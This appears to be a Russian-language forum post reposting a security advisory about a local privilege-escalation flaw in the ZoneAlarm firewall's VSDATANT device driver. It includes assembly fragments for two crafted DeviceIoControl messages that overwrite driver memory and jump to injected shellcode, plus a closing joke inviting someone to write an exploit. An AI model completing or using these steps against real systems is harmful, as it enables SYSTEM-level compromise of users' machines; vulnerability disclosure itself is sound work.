Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[3.144.38.24] |
|
Сообщ.
#1
,
|
|
|
original http://www.securitylab.ru/?ID=39403
Уязвимость обнаружена в драйвере устройства в ZoneAlarm. Атакующий может получить полный контроль над уязвимой системой. Посылая специально обработанное форматированное сообщение к ZoneAlarm Device Driver (VSDATANT - TrueVector Device Driver), атакующий может перезаписать часть памяти драйвера устройства. В результате атакующий может выполнить произвольный код на системе: Первый сигнал должен быть послан, чтобы перезаписать определенный участок памяти, в нашем случае, этом может быть один из операторов условного перехода: <br> push 0 ;overlapped <br> push offset bytes_returned ;bytes returned <br> push 4 ;lpOutBuffer size <br> push STATMENT_INSTRUCTION_POINTER ;memory to overwrite <br> push 0 ;lpInBuffer size <br> push 0 ;lpInBuffer <br> push 8400000fh ;guess what X-D <br> push vsdatant_handle ;device handle <br> call DeviceIoControl ;send it! <br> Правильный STATMENT_INSTRUCTION_POINTER должен перезаписать адрес к 00060001h (например). После распределения памяти в этом адресе (вставка shellcode bla bla bla), второй сигнал должен быть послан, чтобы внедриться во вставленный код. Это может быть сделано посылкой другого сигнала: LpInBuffer: db STATMENT_OVERWRITTEN_NUMBER ;where to jump db 7 dup (0) ;data? dd temp_buff ;temp buffer db 10 dup (0) ;some space После посылки второго фальшивого сообщения, драйвер устройства перейдет к STATEMENT оффсету, который был перезаписан первым "сигналом". В результате атакующий может получить выполнить произвольный код с SYSTEM привилегиями. Уязвимость обнаружена в Local ZoneAlarm Firewall все версии (проверено на 3.1) Способов устранения обнаруженной уязвимости не существует в настоящее время. PS ну что может експлоит написать ? ;D |